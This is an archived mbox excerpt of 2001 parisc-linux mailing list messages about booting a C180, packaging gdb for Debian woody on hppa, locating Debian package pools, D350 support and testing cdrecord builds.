> > > > > -------------------------------------------------
> > > > > This mail sent through Tiscalinet Webmail
> > > (http://webmail.tiscali.be)
> > > > >
> > > > > _______________________________________________
> > > > > parisc-linux mailing list
> > > > > parisc-linux@lists.parisc-linux.org
> > > > > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > > > >
> > > > 
> > > > -- 
> > > >
> > >
> >
> ===============================================================================
> > > > 
> > > > Phil Anderson
> > > > UNIX Systems Administrator
> > > > andersop@neverland.ncssm.edu
> > > > The_13th_Ewok@hotmail.com
> > > > 
> > > > "Go CRAZY? Don't mind if I do! Woowoowoowoo!" -Homer Simpson
> > > > 
> > > > 
> > > > 
> > > 
> > > 
> > > -------------------------------------------------
> > > This mail sent through Tiscalinet Webmail
> (http://webmail.tiscali.be)
> > > 
> > 
> > 
> > -------------------------------------------------
> > This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)
> > 
> > 
> 
> 
> -------------------------------------------------
> This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)
> 
> 


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:20:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Trying C180/current CVS again
Date: Thu, 6 Dec 2001 12:28:28 -0500 (EST)
Lines: 8
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0112061226380.28220-100000@ns>
References: <1007646588.3c0f777c7e770@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620822 30991 80.91.229.3 (22 Nov 2014 01:47:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  6 10:28:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 759C5482D
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Dec 2001 10:28:29 -0700 (MST)
Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA25355
	for <parisc-linux@lists.parisc-linux.org>; Thu, 6 Dec 2001 12:28:28 -0500
X-Sender: nick@ns
In-Reply-To: <1007646588.3c0f777c7e770@webmail.tiscalinet.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13269

Hi, I'm once again trying to get my C180 booted, and I get a HPMC most of
the way through boot.  I've got the entire boot log, but it's rather long
so it's not attached.  I can make it available if that would be usefull.
	Nick





From - Thu Nov 08 21:20:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trying C180/current CVS again
Date: Thu, 06 Dec 2001 21:28:50 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <200112070428.VAA28032@puffin.external.hp.com>
References: <nick@snowman.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620822 31006 80.91.229.3 (22 Nov 2014 01:47:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: nick@snowman.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  6 21:34:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 66544482C
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Dec 2001 21:34:05 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id VAA28032;
	Thu, 6 Dec 2001 21:28:50 -0700
In-Reply-To: Message from <nick@snowman.net> 
   of "Thu, 06 Dec 2001 12:28:28 EST." <Pine.LNX.4.21.0112061226380.28220-100000@ns> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13270

nick@snowman.net wrote:
> Hi, I'm once again trying to get my C180 booted, and I get a HPMC most of
> the way through boot.  I've got the entire boot log, but it's rather long
> so it's not attached.  I can make it available if that would be usefull.

Yes - it would be useful. Please just post a URL to it if you can.

grant



From - Thu Nov 08 21:20:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trying C180/current CVS again
Date: Thu, 6 Dec 2001 23:38:02 -0500 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0112062337470.13296-100000@ns>
References: <200112070428.VAA28032@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620822 31011 80.91.229.3 (22 Nov 2014 01:47:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  6 21:39:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6EEBF492D
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Dec 2001 21:39:05 -0700 (MST)
Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id XAA15982;
	Thu, 6 Dec 2001 23:38:02 -0500
X-Sender: nick@ns
In-Reply-To: <200112070428.VAA28032@puffin.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13271

Thanks, I'm already talking to a few ppl.  I'll post any usefull info
	Nick

On Thu, 6 Dec 2001, Grant Grundler wrote:

> nick@snowman.net wrote:
> > Hi, I'm once again trying to get my C180 booted, and I get a HPMC most of
> > the way through boot.  I've got the entire boot log, but it's rather long
> > so it's not attached.  I can make it available if that would be usefull.
> 
> Yes - it would be useful. Please just post a URL to it if you can.
> 
> grant
> 




From - Thu Nov 08 21:20:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gdb for PA in woody
Date: Fri, 7 Dec 2001 18:23:11 +0000
Lines: 9
Approved: news@gmane.org
Message-ID: <20011207182311.K806@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620823 31019 80.91.229.3 (22 Nov 2014 01:47:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:03 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec  7 12:44:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id AB561611E
	for <parisc-linux@parisc-linux.org>; Fri,  7 Dec 2001 12:44:20 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16CPeR-0005w5-00
	for parisc-linux@parisc-linux.org; Fri, 07 Dec 2001 18:23:11 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13272

Debian woody is in the throes of freeze and there's no official gdb
for hppa yet.  there are patches in our cvs to make a gdb snapshot from
20010307 work, but afaik nothing's been merged upstream.  any volunteers?
this is really important.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gdb for PA in woody
Date: Fri,  7 Dec 2001 18:03:28 -0700 (MST)
Lines: 13
Approved: news@gmane.org
Message-ID: <20011208010328.DFCA41872C@security.hp.com>
References: <20011207182311.K806@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620823 31026 80.91.229.3 (22 Nov 2014 01:47:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec  7 18:03:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91A70482D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Dec 2001 18:03:31 -0700 (MST)
Original-Received: from security.hp.com (cranston.fc.hp.com [15.1.44.224])
	by atlrel9.hp.com (Postfix) with ESMTP
	id 3E4351F695; Fri,  7 Dec 2001 20:03:30 -0500 (EST)
Original-Received: by security.hp.com (Postfix, from userid 23683)
	id DFCA41872C; Fri,  7 Dec 2001 18:03:28 -0700 (MST)
X-Newsgroups: local.linux.pa
In-Reply-To: <20011207182311.K806@parcelfarce.linux.theplanet.co.uk>
User-Agent: tin/1.4.2-20000205 ("Possession") (UNIX) (HP-UX/B.10.20 (9000/770))
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13273

In article <20011207182311.K806@parcelfarce.linux.theplanet.co.uk> you wrote:

> Debian woody is in the throes of freeze and there's no official gdb
> for hppa yet.  there are patches in our cvs to make a gdb snapshot from
> 20010307 work, but afaik nothing's been merged upstream.  any volunteers?
> this is really important.

I'll probably start playing with this late this weekend (after some postfix
work that I promised someone I'd finish), if noone else beats me to it.

lamont



From - Thu Nov 08 21:20:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Nyberg <debiannewbie@excite.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] KDE or GNOME..???
Date: Fri, 7 Dec 2001 18:05:46 -0800 (PST)
Lines: 27
Approved: news@gmane.org
Message-ID: <6170189.1007777146807.JavaMail.imail@ringo.excite.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620823 31032 80.91.229.3 (22 Nov 2014 01:47:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:03 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec  7 19:05:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ewey.excite.com (ewey-rwcmta.excite.com [198.3.99.191])
	by dsl2.external.hp.com (Postfix) with ESMTP id 66C9A482D
	for <parisc-linux@parisc-linux.org>; Fri,  7 Dec 2001 19:05:48 -0700 (MST)
Original-Received: from ringo.excite.com ([199.172.152.145]) by ewey.excite.com
          (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP
          id <20011208020546.DYGH27114.ewey.excite.com@ringo.excite.com>
          for <parisc-linux@parisc-linux.org>;
          Fri, 7 Dec 2001 18:05:46 -0800
X-Mailer: Excite Inbox
X-Sender-Ip: 65.68.201.15
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13274

I have looked in 

ftp://ftp.debian.org/debian/dists/unstable/main/binary-hppa/

for a working version of a desktop and found that the only thing that has
anything in it is the list!! The dir's where one would expect to find what
one is seeking is empty!!! Heck they all are!~~???  What the heck, over?? 
Where is all the programs for this new version of Debian GNU/Linux hiding
and why???  I'm no expert by any means but I'm sure I could see it if it was
where it belongs... Who owns and runs this site anyhow?? and how does one
reach out to someone that knows what going here??

Grats,

Dave





______________________________________________________________________________
Send a friend your Buddy Card and stay in contact always with Excite Messenger
http://messenger.excite.com





From - Thu Nov 08 21:20:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] KDE or GNOME..???
Date: Fri, 07 Dec 2001 19:22:46 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20011208022246.954CF37E86@carmen.fc.hp.com>
References: <6170189.1007777146807.JavaMail.imail@ringo.excite.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620823 31040 80.91.229.3 (22 Nov 2014 01:47:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:03 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, taggart@carmen.fc.hp.com
To: Dave Nyberg <debiannewbie@excite.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec  7 19:22:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id B75C3482D
	for <parisc-linux@parisc-linux.org>; Fri,  7 Dec 2001 19:22:48 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel9.hp.com (Postfix) with ESMTP
	id 3C8081F55D; Fri,  7 Dec 2001 21:22:47 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 954CF37E86; Fri,  7 Dec 2001 19:22:46 -0700 (MST)
In-Reply-To: Your message of "Fri, 07 Dec 2001 18:05:46 PST."
             <6170189.1007777146807.JavaMail.imail@ringo.excite.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13275

Dave Nyberg writes...

> 
> I have looked in 
> 
> ftp://ftp.debian.org/debian/dists/unstable/main/binary-hppa/
> 
> for a working version of a desktop and found that the only thing that has
> anything in it is the list!! The dir's where one would expect to find what
> one is seeking is empty!!! Heck they all are!~~???  What the heck, over?? 

All recent debian packages are kept in the package pool now. See,

ftp://ftp.debian.org/debian/pool/

Use dselect or another frontend to browse packages.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation



From - Thu Nov 08 21:20:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Status of HP 9000 D350
Date: Sun, 09 Dec 2001 20:01:36 +0100
Organization: private
Lines: 21
Approved: news@gmane.org
Message-ID: <3C13B510.89F2F5B2@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620824 31051 80.91.229.3 (22 Nov 2014 01:47:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:04 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec  9 12:01:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep12-int.chello.at (viefep12-int.chello.at [213.46.255.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4062C482C
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Dec 2001 12:01:49 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep12-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20011209190137.JAPJ1239.viefep12-int.chello.at@gmx.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Sun, 9 Dec 2001 20:01:37 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13276

Hello PA-RISC hackers.

What is the status of the 9000 D350 server machine and Linux.
Perhaps I have a chance to get one, and I saw, there are no
"UNDOCUMENTED DRIVERS", so I think Linux will run on that
machine. Is this correct ?

Any experiences here ?

With friendly regards
Christoph P.



-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:20:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Tester needed for cdrecord on parisc-linux
Date: Sun, 9 Dec 2001 12:12:19 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <20011209201219.GT1515@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620824 31053 80.91.229.3 (22 Nov 2014 01:47:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:04 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec  9 13:12:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 440D5482C
	for <parisc-linux@parisc-linux.org>; Sun,  9 Dec 2001 13:12:29 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id fgwnjaaa for parisc-linux@parisc-linux.org; Sun, 9 Dec 2001 13:07:05 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16DAJ9-0004je-00; Sun, 09 Dec 2001 12:12:19 -0800
Content-Disposition: inline
User-Agent: Mutt/1.3.24i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13277

I just built cdrecord and friends for hppa-linux (there's a small patch
needed that has been submitted to the BTS). Unfortunately I do not have
a parisc-linux setup to test it with. Can someone here please give it a
try and report the results?

http://people.debian.org/~tausq/hppa/
	cdrecord_1.10-2_hppa.deb 
	mkisofs_1.10-2_hppa.deb 
	cdda2wav_1.10-2_hppa.deb 

If you are not familiar with CD-writing under Linux, you may want to
refer to:
http://www.linux.com/howto/CD-Writing-HOWTO.html

thanks!
randolph
-- 
Debian Developer <tausq@debian.org>
http://www.TauSq.org/



From - Thu Nov 08 21:20:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tester needed for cdrecord on parisc-linux
Date: Sun, 9 Dec 2001 15:56:33 -0500 (EST)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.33.0112091553010.26716-100000@mojo.calyx.net>
References: <20011209201219.GT1515@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620824 31055 80.91.229.3 (22 Nov 2014 01:47:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:04 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec  9 13:56:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.calyx.net (mail.calyx.com [216.82.160.19])
	by dsl2.external.hp.com (Postfix) with SMTP id 26EAF482C
	for <parisc-linux@parisc-linux.org>; Sun,  9 Dec 2001 13:56:37 -0700 (MST)
Original-Received: (qmail 7247 invoked from network); 9 Dec 2001 20:56:35 -0000
Original-Received: from mojo.calyx.com (HELO mojo) (wdaq4580ia20dh3mxwyh@216.82.160.22)
  by mail.calyx.com with SMTP; 9 Dec 2001 20:56:35 -0000
In-Reply-To: <20011209201219.GT1515@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
